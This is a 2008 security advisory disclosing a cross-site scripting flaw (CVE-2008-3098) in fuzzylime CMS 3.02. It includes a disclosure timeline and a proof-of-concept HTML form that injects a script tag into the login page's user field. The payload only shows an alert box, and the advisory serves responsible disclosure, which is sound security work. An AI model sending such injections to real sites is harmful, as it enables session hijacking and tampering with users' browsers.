fuzzylime302-xss.txt

`Cross Site Scripting (XSS) Vulnerabilitiy in fuzzylime (cms) >=3.02,  
CVE-2008-3098   
  
References  
  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3098  
http://cms.fuzzylime.co.uk  
  
  
Description  
  
Fuzzylime (cms) is a way to run websites and keep it up-to-date. Once  
installed, you can update from any internet-connected PC in the world -  
you don't even need to know HTML! It has tons of features so whatever  
you want from your site, chances are this script will be able to do it  
for you.   
  
Example  
  
Assuming Fuzzylime is installed on http://localhost/fuzzylime/, anybody  
could inject JavaScript:  
  
<form method="post" action="http://localhost/fuzzylime/admin/usercheck.php">  
<input type="hidden" name="log" value="in">  
<input type="text" name="user"value='"><script>alert(1)</script>'>  
<input type=submit></form>  
  
Disclosure Timeline  
  
2008-09-10 Vendor contacted  
2008-09-20 Vendor released 3.03  
2008-09-22 Advisory published  
  
CVE Information  
  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CVE-2008-3098 to this issue. This is a candidate for inclusion in  
the CVE list (http://cve.mitre.org/), which standardizes names for  
security problems.   
  
Credits and copyright  
  
This vulnerability was discovered by Fabian Fingerle (published with  
help from Hanno Boeck). It's licensed under the creative commons  
attribution license.  
  
Fabian Fingerle, 2008-09-22, http://www.fabian-fingerle.de  
  
`